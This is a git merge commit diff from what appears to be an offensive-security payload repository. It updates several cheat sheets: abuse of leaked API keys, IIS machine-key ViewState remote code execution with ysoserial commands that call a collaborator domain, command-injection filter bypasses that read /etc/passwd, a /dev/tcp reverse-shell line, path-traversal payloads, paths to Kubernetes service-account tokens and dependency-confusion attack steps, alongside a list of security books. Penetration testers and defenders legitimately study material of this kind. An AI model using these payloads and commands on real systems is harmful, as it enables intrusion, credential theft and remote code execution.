Merge branch 'master' into master

This commit is contained in:
HAHWUL 2021-10-21 00:44:35 +09:00 committed by GitHub
commit 5e415caea7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
45 changed files with 3452 additions and 1030 deletions

View File

@ -17,7 +17,7 @@
- [Twitter Bearer Token](#twitter-bearer-token) - [Twitter Bearer Token](#twitter-bearer-token)
- [Gitlab Personal Access Token](#gitlab-personal-access-token) - [Gitlab Personal Access Token](#gitlab-personal-access-token)
- [HockeyApp API Token](#hockeyapp-api-token) - [HockeyApp API Token](#hockeyapp-api-token)
- [Auth Bypass using pre-published Machine Key](#auth-bypass-using-pre-published-machine-key) - [IIS Machine Keys](#iis-machine-keys)
- [Mapbox API Token](#Mapbox-API-Token) - [Mapbox API Token](#Mapbox-API-Token)
@ -34,6 +34,23 @@ The following commands can be used to takeover accounts or extract personal info
Use : https://github.com/ozguralp/gmapsapiscanner/ Use : https://github.com/ozguralp/gmapsapiscanner/
Usage:
| Name | Endpoint |
| --- | --- |
| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE |
| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE |
| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE |
| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE |
| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=KEY_HERE |
| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
Impact: Impact:
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company * Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account * Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
@ -99,11 +116,14 @@ curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hoc
``` ```
### Auth Bypass using pre-published Machine Key ### IIS Machine Keys
> By default, ASP.NET creates a Forms Authentication Ticket with unique a username associated with it, Date and Time at which the ticket was issued and expires. So, all you need is just a unique username and a machine key to create a forms authentication token > That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification. Requirements
* machineKey **validationKey** and **decryptionKey**
* __VIEWSTATEGENERATOR cookies
* __VIEWSTATE cookies
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication. Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
@ -111,7 +131,62 @@ Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/s
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" /> <machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
``` ```
Exploit with [Blacklist3r](https://github.com/NotSoSecure/Blacklist3r) Common locations of **web.config** / **machine.config**
* 32-bit
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
* 64-bit
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
#### Identify known machine key
* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
```powershell
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1
# --encrypteddata : __VIEWSTATE parameter value of the target application
# --modifier : __VIEWSTATEGENERATOR parameter value
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> macdecode
```
#### Decode ViewState
```powershell
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
```
#### Generate ViewState for RCE
**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
```powershell
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
```
#### Edit cookies with the machine key
If you have the machineKey but the viewstate is disabled.
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
```powershell ```powershell
# decrypt cookie # decrypt cookie
@ -121,7 +196,6 @@ $ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
``` ```
### Mapbox API Token ### Mapbox API Token
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time. A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
``` ```

View File

@ -1,22 +1,39 @@
# Book's list # Books
Grab a book and relax, these ones are the best security books (in my opinion). > Grab a book and relax. Some of the best books in the industry.
- [Web Hacking 101](https://leanpub.com/web-hacking-101) - [Advanced Penetration Testing: Hacking the World's Most Secure Networks by Wil Allsopp (2017)](https://www.goodreads.com/book/show/32027337-advanced-penetration-testing)
- [Android Hacker's Handbook by Joshua J. Drake et al. (2014)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html)
- [Android Security Internals: An In-Depth Guide to Android's Security Architecture by Nikolay Elenkov (2015)](https://nostarch.com/androidsecurity)
- [Attacking Network Protocols: A Hacker's Guide to Capture, Analysis, and Exploitation by James Forshaw (2018)](https://nostarch.com/networkprotocols)
- [Black Hat Go: Go Programming for Hackers and Pentesters by Tom Steele, Chris Patten, and Dan Kottmann (2020)](https://nostarch.com/blackhatgo)
- [Black Hat Python: Python Programming for Hackers and Pentesters by Justin Seitz (2014)](https://www.goodreads.com/book/show/22299369-black-hat-python)
- [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec) - [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec)
- [OWASP Testing Guide v4](https://www.owasp.org/index.php/OWASP_Testing_Project) - [Car Hacker's Handbook by Craig Smith (2016)](https://www.nostarch.com/carhacking)
- [Penetration Testing: A Hands-On Introduction to Hacking](http://amzn.to/2dhHTSn) - [Cyberjutsu: Cybersecurity for the Modern Ninja by Ben McCarty (2021)](https://nostarch.com/cyberjutsu)
- [The Hacker Playbook 2: Practical Guide to Penetration Testing](http://amzn.to/2d9wYKa) - [Foundations of Information Security: A Straightforward Introduction by Jason Andress (2019)](https://nostarch.com/foundationsinfosec)
- [The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition](http://a.co/6MqC9bD) - [Game Hacking: Developing Autonomous Bots for Online Games by Nick Cano (2016)](https://nostarch.com/gamehacking)
- [The Mobile Application Hackers Handbook](http://amzn.to/2cVOIrE) - [Gray Hat Python: Python Programming for Hackers and Reverse Engineers by Justin Seitz (2009)](https://www.goodreads.com/book/show/5044768-gray-hat-python)
- [Black Hat Python: Python Programming for Hackers and Pentesters](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900) - [Hacking: The Art of Exploitation by Jon Erickson (2004)](https://www.goodreads.com/book/show/61619.Hacking)
- [Metasploit: The Penetration Tester's Guide](https://www.nostarch.com/metasploit) - [iOS Hacker's Handbook by Charlie Miller et al. (2012)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html)
- [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html) - [Metasploit: The Penetration Tester's Guide by David Kennedy (2011)](https://www.nostarch.com/metasploit)
- [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html) - [OWASP Testing Guide: Stable](https://owasp.org/www-project-web-security-testing-guide/stable/)
- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html) - [Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman (2014)](https://nostarch.com/pentesting)
- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html) - [Pentesting Azure Applications: The Definitive Guide to Testing and Securing Deployments by Matt Burrough (2018)](https://nostarch.com/azure)
- [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html) - [Pratical Binary Analysis: Build Your Own Linux Tools for Binary instrumentation, Analysis, and Disassembly by Dennis Andriesse (2019)](https://nostarch.com/binaryanalysis)
- [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html) - [Pratical Forensic Imaging: Securing Digital Evidence with Linux Tools by Bruce Nikkel (2016)](https://nostarch.com/forensicimaging)
- [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html) - [Pratical IoT Hacking: The Definitive Guide to Attacking the Internet of Things by Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou and Beau Woods (2021)](https://nostarch.com/practical-iot-hacking)
- [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html) - [Real-World Bug Hunting: A Field Guide to Web Hacking by Peter Yaworski (2019)](https://nostarch.com/bughunting)
- [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking) - [Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats by Alex Matrosov, Eugene Rodionov, and Sergey Bratus (2019)](https://nostarch.com/rootkits)
- [The Car Hacker's Handbook: A Guide for the Penetration Tester by Craig Smith (2016)](https://nostarch.com/carhacking)
- [The Browser Hacker's Handbook by Wade Alcorn et al. (2014)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
- [The Database Hacker's Handbook, David Litchfield et al. (2005)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
- [The Hacker Playbook: Practical Guide To Penetration Testing by Peter Kim (2014)](https://www.goodreads.com/book/show/21846565-the-hacker-playbook)
- [The Hacker Playbook 2: Practical Guide to Penetration Testing by Peter Kim (2015)](https://www.goodreads.com/book/show/25791488-the-hacker-playbook-2)
- [The Hacker Playbook 3: Practical Guide to Penetration Testing (Red Team Edition) by Peter Kim (2018)](https://www.goodreads.com/book/show/40028366-the-hacker-playbook-3)
- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi (2009)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
- [The Mobile Application Hacker's Handbook by Dominic Chell et al. (2015)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
- [The Shellcoders Handbook by Chris Anley et al. (2007)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto (2011)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)
- [Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers by T.J. O'Connor (2012)](https://www.goodreads.com/book/show/16192263-violent-python)
- [Web Hacking 101](https://leanpub.com/web-hacking-101)

View File

@ -71,23 +71,23 @@ Works on Linux only.
swissky@crashlab:~/Www$ cat</etc/passwd swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd} swissky@crashlab:~$ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd swissky@crashlab:~$ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE RCE
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X swissky@crashlab:~$ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242 swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242
``` ```
Commands execution without spaces, $ or { } - Linux (Bash only) Commands execution without spaces, $ or { } - Linux (Bash only)
@ -114,28 +114,28 @@ something%0Acat%20/etc/passwd
Linux Linux
```powershell ```powershell
swissky@crashlab▸ ~ ▸ $ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd /etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"` swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'` swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ xxd -r -p <<< 2f6574632f706173737764 swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd /etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `xxd -r -p <<< 2f6574632f706173737764` swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ xxd -r -ps <(echo 2f6574632f706173737764) swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd /etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `xxd -r -ps <(echo 2f6574632f706173737764)` swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
``` ```
@ -144,19 +144,19 @@ root:x:0:0:root:/root:/bin/bash
Commands execution without backslash and slash - linux bash Commands execution without backslash and slash - linux bash
```powershell ```powershell
swissky@crashlab▸ ~ ▸ $ echo ${HOME:0:1} swissky@crashlab:~$ echo ${HOME:0:1}
/ /
swissky@crashlab▸ ~ ▸ $ cat ${HOME:0:1}etc${HOME:0:1}passwd swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ echo . | tr '!-0' '"-1' swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/ /
swissky@crashlab▸ ~ ▸ $ tr '!-0' '"-1' <<< . swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/ /
swissky@crashlab▸ ~ ▸ $ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
``` ```
@ -221,12 +221,12 @@ g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
Extracting data : char by char Extracting data : char by char
```powershell ```powershell
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s real 0m5.007s
user 0m0.000s user 0m0.000s
sys 0m0.000s sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s real 0m0.002s
user 0m0.000s user 0m0.000s
sys 0m0.000s sys 0m0.000s

View File

@ -0,0 +1,27 @@
# Dependency Confusion
> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
## Summary
* [Tools](#tools)
* [Exploit](#exploitation)
* [References](#references)
## Exploit
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
### NPM example
* List all the packages (ie: package.json, composer.json, ...)
* Find the package missing from https://www.npmjs.com/
* Register and create a **public** package with the same name
* Package example : https://github.com/0xsapra/dependency-confusion-expoit
## References
* [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained]( https://www.youtube.com/watch?v=zFHJwehpBrU )

View File

@ -129,4 +129,12 @@ C:\boot.ini
/../../../../../../../../../../../boot.ini%00.jpg /../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../ /.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

View File

@ -125,6 +125,9 @@ To bypass this behaviour just add forward slashes in front of the url:
/proc/self/cwd/main.py /proc/self/cwd/main.py
/home/$USER/.bash_history /home/$USER/.bash_history
/home/$USER/.ssh/id_rsa /home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount /var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db /var/lib/mlocate/mlocate.db
/var/lib/mlocate.db /var/lib/mlocate.db

View File

@ -1,7 +1,9 @@
#!/usr/bin/python #!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf # https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
# The following line is not required but supposedly optimizes code.
# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert.
# from builtins import range
from __future__ import print_function from __future__ import print_function
from builtins import range
import sys import sys
import threading import threading
import socket import socket

View File

@ -26,6 +26,7 @@
* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/) * [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
* [Graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema](https://gitlab.com/dee-see/graphql-path-enum) * [Graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema](https://gitlab.com/dee-see/graphql-path-enum)
* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide) * [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
* [ClairvoyanceX - Obtain GraphQL API schema despite disabled introspection](https://github.com/mchoji/clairvoyancex)
* [InQL - A Burp Extension for GraphQL Security Testing](https://github.com/doyensec/inql) * [InQL - A Burp Extension for GraphQL Security Testing](https://github.com/doyensec/inql)
* [Insomnia - Cross-platform HTTP and GraphQL Client](https://insomnia.rest/) * [Insomnia - Cross-platform HTTP and GraphQL Client](https://insomnia.rest/)
* [AutoGraphql + introspection](https://graphql-dashboard.herokuapp.com/) * [AutoGraphql + introspection](https://graphql-dashboard.herokuapp.com/)

View File

@ -24,22 +24,26 @@ Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads fir
### Table of refence for which technology reads which parameter ### Table of refence for which technology reads which parameter
When ?par1=a&par1=b When ?par1=a&par1=b
| Technology | Parsing Result |outcome (par1=)| | Technology | Parsing Result |outcome (par1=)|
| ------------------ |--------------- |:-------------:| | ------------------ |--------------- |:-------------:|
| ASP.NET/IIS |All occurrences |a,b | | ASP.NET/IIS |All occurrences |a,b |
| ASP/IIS |All occurrences |a,b | | ASP/IIS |All occurrences |a,b |
| PHP/Apache |Last occurrence |b | | PHP/Apache |Last occurrence |b |
| PHP/Zues |Last occurrence |b | | PHP/Zues |Last occurrence |b |
| JSP,Servlet/Tomcat |First occurrence |a | | JSP,Servlet/Tomcat |First occurrence |a |
| Perl CGI/Apache |First occurrence |a | | Perl CGI/Apache |First occurrence |a |
| Python Flask |First occurrence |a | | Python Flask |First occurrence |a |
| Python Django |Last occurrence |b | | Python Django |Last occurrence |b |
| Nodejs |All occurrences |a,b | | Nodejs |All occurrences |a,b |
| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a | | Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a |
| Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b | | Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b |
| IBM Lotus Domino |First occurrence |a |
| IBM HTTP Server |First occurrence |a |
| Perl CGI/Apache |First occurrence |a |
| mod_wsgi (Python)/Apache |First occurrence |a |
| Python/Zope |All occurences in array |['a','b'] |
## References ## References
- [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/) - [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
- [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction) - [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/) - [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)

View File

@ -105,3 +105,4 @@ Payload generators for the following marshallers are included:<br />
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) - [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) - [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
